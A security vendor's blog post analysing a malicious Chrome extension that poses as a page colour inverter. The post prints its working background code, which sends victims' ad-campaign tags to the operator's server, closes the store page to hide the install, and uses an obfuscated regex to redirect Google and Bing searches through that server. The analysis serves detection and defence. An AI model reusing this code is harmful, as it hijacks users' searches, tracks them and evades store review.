The BadEx project is Guardio Labs’ latest endeavor in the realm of Bad Extensions. In this series we will share interesting findings from our ongoing efforts to safeguard the internet also from this never ending stream of malicious browser extensions. We will analyze malicious code examples, manipulative techniques bad actors use to avoid detection, and of course how Guardio is fighting back.
For the first writeup in our project, we will tackle what is probably the most infamous malicious extensions activity of them all — the Search Hijacking. Search has come to be our gateway to the internet. Everything you want to learn, buy or discover will start with you typing exactly what you want in the search/address bar, later choosing from the options your search provider presented for you. This gives the search provider tons of control and power, that in turn converts to targeted advertising and other methods to monetize everyone's daily internet routines.
So if you install Chrome you get Google search as your default, if you prefer Edge you will get Bing. This is mostly true. But what if a third party actor is now taking over and controlling your searches? One that is not a well known governized company? One that does that without your knowledge, not to say your approval?
Here we will focus on one of the techniques being abused today to hijack our search gateways — Browser Extensions.
Basically, extensions give a valid and easy to use API to update the default search gateway. This has many useful use-cases, from official extension of legit search providers (DuckDuckGo, Yahoo Search etc.) as well as service providers and companies providing their customers as well as employees a dedicated custom gateway for both the internet as well as company resources. Without even writing one line of code, the extension API allows stating a new search provider settings. All is present in the manifest file that declares the extension functionality and looks something like this:
"chrome_settings_overrides": {
"search_provider": {
"name": "My New Search",
"keyword": "sc",
"is_default": true,
"encoding": "UTF-8",
"favicon_url": "https://search.site/favicon.ico",
"search_url": "https://search.site/?q={searchTerms}",
"suggest_url": "https://search.site/?s={searchTerms}"
}
}
In turn, installing these kind of extensions will prompt you that your search provider is now being altered, and this should also be stated in the extension description in the store - following the chrome store policy for full visibility.
As long as this is done via the above official APIs, it’s usually fine. The ‘fun’ begins when this is being done without yours (and even the Chrome/Edge Store’s) knowledge, in some chicky and manipulative ways…
Choosing this extension for our research, out of hundreds of thousands available in the Chrome store, was not accidental at all. It popped up in our data as a candidate for doing bad quite quickly after it was first introduced to the store. With Guardio’s data and visibility we realize any extensions path into your browser, who referred to it, who advertised it and sometimes also which manipulations were used to get users to install it… but hey, even the most basic metadata everyone can freely see will just work in this case - how can it be that it has 4000+ users and yet not even 1 review?
This is partially because the extensions is unlisted in the store (you can’t find it there unless you go directly to the extension page URL) so it means it uses other means of propagation (more on this later on). We should also note the blue Chrome Store badge just beneath the extension name stating:
Created by the owner of the listed website. The publisher has a good record with no history of violations.
Hmmm… Really?
Like many other malicious extensions, they do their best to stay undercover, pretend to be functional and relevant extensions. Once installed, the extension adds a small icon to the extensions bar and basically does what it promised. Click it and your current tab colors will be inverted:
The main function, triggered by the extension icon click, does this simple CSS update on your page content using a function in the file invert.js
:
chrome.pageAction.onClicked.addListener(function(tab) {
chrome.tabs.executeScript(tab.id, {file: "invert.js"})
//...
Inside the js file we find a simple CSS code that is being dynamically added to the current stylesheet on the site using the appendChild
method to the <head>
tags:
html {-webkit-filter: invert(100%);}body{background-color: black !important;}
Simple straightforward CSS style code injection. Yet the interesting bit here is how easy it is to change this extension to do any other function just by changing its name, icon and ONE simple js file — this is our first sign of a major campaign, creating many different extensions (easy as copy-paste) and propagating them all over the place.
To find the holy grail, we look at the background.js
file, executed as a service worker, that always runs in the background no matter what you do — or where you browse to!
Once the extension is installed, it pops up the main developers landing page on the domain browse-inverter[.]com. Quite standard with extension. Only this page looks suspicious to begin with:
Coming soon?? Plus, what you can’t see, is what’s happening in the background, and more specifically this piece of code:
chrome.runtime.onInstalled.addListener(e => {
if (e.reason == 'install') {
chrome.tabs.query({ }, tabs => {
tabs.forEach(t => {
if ((ts = t.url.match(/[?&]utm_source=(.*?)(&|$)/)) && ts.length >= 2 && ts[1] && (tm = t.url.match(/[?&]utm_campaign=(.*?)(&|$)/)) && tm.length >= 2 && tm[1]){
chrome.storage.sync.set({ 'qel-src-ov': ts[1], 'qel-cmp-ov': tm[1], 'qel-cnt-ov': 0 });
fetch('https://browse-inverter.com/track/?utm_source=' + ts[1] + '&utm_campaign=' + tm[1], { mode: "no-cors"} );
chrome.tabs.remove(t.id);
}else if (t.url.match(/\/detail\//)) {
chrome.tabs.remove(t.id);
}
});
});
chrome.tabs.create({ url: "https://browse-inverter.com/?a=thankyou"});
}
});
The onInstalled
is an API call for Chrome extensions that is activated once the extensions is installed. We can see the “thankyou” page created in a new tab at the end of the function calling the URL https://browse-inverter[.]com/?a=thankyou. Yet, there is a forEach
clause that checks all your open tabs URLs for these regex matches:
These are UTM (Urchin Tracking Module) tags, added to the URL and represents source of the traffic to the website (e.g. we came from facebook, google search or any other source) as well as the specific campaign tag (a custom text string indicating a specific advertisement campaign). Long story short, the extension looks for where the victim came from and was manipulated to install this extension from, and grabs the UTM tags from there. These tags are later stored locally with the local storage extension API to these keys:
Right after that the extensions does a fetch action to their C&C server to track and record the UTM values:
https://browse-inverter[.]com/track/?utm_source=XXX&utm_campaign=YYY
From all the above, we realize that this extension is being pushed to victims browsers by malvertising campaigns — pushing bad advertisements and those nesty landing pages with small pop ups that only show the “Install” button from the extension store just to make you install it without even knowing what it is. Which is, again, against Chrome store policy — that allows extension installation ONLY from their page on the legit Store, no popups and no other manipulations…
Here is an example for such page we see gaining popularity lately, making you think you need to update Edge while you’re actually installing another bad extension:
This popup is carefully placed on screen so you’ll think it’s part of the “Important Update”. And BTW, if you look carefully at the last code snippet you will also notice another regex: /\/detail\//
. This one is looking for the window showing the extensions store page (in this case the manipulative popup above) and closes it once you install the extension! Leaving no trace from this manipulative activity.
Now we get to the fun part. The extension checks every page you browse to and if it finds it’s a search page — it quickly replaces it with it’s own. Breaking all rules and policies of the Chrome Store for legitimate use of the API for search changing. Along the way it violates your privacy in 2 really bad ways we must be aware of:
How this is being done? Here we go:
chrome.tabs.onUpdated.addListener(function(i, s, t) {
var items = [];
let cmp = ['qel-src-ov', 'qel-cmp-ov', 'qel-cnt-ov', 'lq'];
chrome.storage.sync.get(cmp, function (items) { Object.keys(items).forEach(function(k){ localStorage.setItem(k, items[k]); }) });
cmp.forEach(function(k){ if(localStorage.getItem(k)){ items[k] = localStorage.getItem(k); }});
if (Object.keys(items).length >= 3 && "loading" === t.status){
if ((p = t.url.match(/:\/+([w|\.]+)?[bg]([ngio]{3})(le)?\.([a-z\.]{2,6}\/s)(.{3})ch[?&].*?q=(.*?)[?&]/)) && p[6] && !t.url.match(/[?&](tbm)/) && items['lq'] != decodeURIComponent(p[6].replace(/\+/g, '%20'))){
chrome.tabs.create({ url: "https://browse-inverter.com/s/?api=qnxfjtcp&q=" + decodeURIComponent(p[6].replace(/\+/g, '%20')) + "&qel-src-ov=" + items['qel-src-ov'] + "&qel-cmp-ov=" + items['qel-cmp-ov'] + "&qel-cnt-ov=" + items['qel-cnt-ov']});
chrome.tabs.remove(i);
chrome.storage.sync.set({'lq': decodeURIComponent(p[6].replace(/\+/g, '%20')), 'qel-cnt-ov': Number(items['qel-cnt-ov'])+1});
}else if (t.url.includes(chrome.runtime.id)){ chrome.tabs.remove(t.id); }
}
});
The tabs.onUpdated
is called back on every browsing activity and examines that specific tab by looking for URLs that match this regex from hell:
/:\/+([w|\.]+)?[bg]([ngio]{3})(le)?\.([a-z\.]{2,6}\/s)(.{3})ch[?&].*?q=(.*?)[?&]/
The above is just a malicious way to hide the real intention of this URL match action — To match on google search results pages that look something like this:
https://www.google.com/search?q=BadEx
The above URL, a search for the value “BadEx” in google, is now being converted to this search URL instead:
https://browse-inverter[.]com/s/?api=qnxfjtcp&q=BadEx&qel-src-ov=XXXXX&qel-cmp-ov=YYYY&qel-cnt-ov=ZZZ
Note that it includes the UTM values from the above initialization as well as a counter. The original google search tab is, of course, removed immediately after. Next, this new search query is handled by the C&C server, creating an hijacked search session with another search provider (we’ve seen Yahoo, Bing and Google as well) only this time with tons of affiliation IDs and other data that wasn’t there in the first place.
A live example — from this replaced google search query:
https://browse-inverter[.]com/s/?api=qnxfjtcp&q=
BadEx
&qel-src-ov=2&qel-cmp-ov=wa4qi875lgqutt1aibftcjc8&qel-cnt-ov=201
To this search results page:
https://search[.]yahoo[.]com/yhs/search;_ylt=AwrCmuMPsNViF1QATBIPxQt.;_ylc=X1MDMjExNDcwMDU1OQRfcgMyBGZyA3locy1iYy1mcmVzaARmcjIDc2ItdG9wBGdwcmlkA1lwQmxMdGVnUXVxQ2ZYRUxWbE9fUkEEbl9yc2x0AzAEbl9zdWdnAzQEb3JpZ2luA3VzLnNlYXJjaC55YWhvby5jb20EcG9zAzAEcHFzdHIDBHBxc3RybAMwBHFzdHJsAzE5BHF1ZXJ5A2NvdW50cnklMjBtYXJrZXQlMjAuY29tBHRfc3RtcAMxNjU4MTcxNDE5?p=
BadEx
&fr2=sb-top&hspart=bc&hsimp=yhs-fresh
Your search is officially hijacked, and from now on the rest of your browsing journey will be dictated, at least partially, by this bad actor. From advertisements you will see, to promoted search results as well as affiliation credits out of your clicks and purchases.
It is interesting, yet so discouraging, realize that this operation (and many others) are still freely available on the Chrome/Edge extensions store. Those extensions violate the store policy as well as your privacy and remain undetected due to many manipulative propagation and evasions techniques we’ve seen here:
Bad actors will keep on finding creative ways to hijack our searches, among other bad activities, and make profit. This is just one of those ways, still undetected by current mainstream store policy enforcement operations.
This bad extension is of course blocked by Guardio, as well as many other extensions from this family that our system detects and tracks on real-time daily basis. We keep track on other actors as well and most important — keep our users browsing safe and private.
Stay tuned for part #2 of Guardio Labs’ BadEx for more on how extensions are being abused as one of the main vectors of threat actors now days…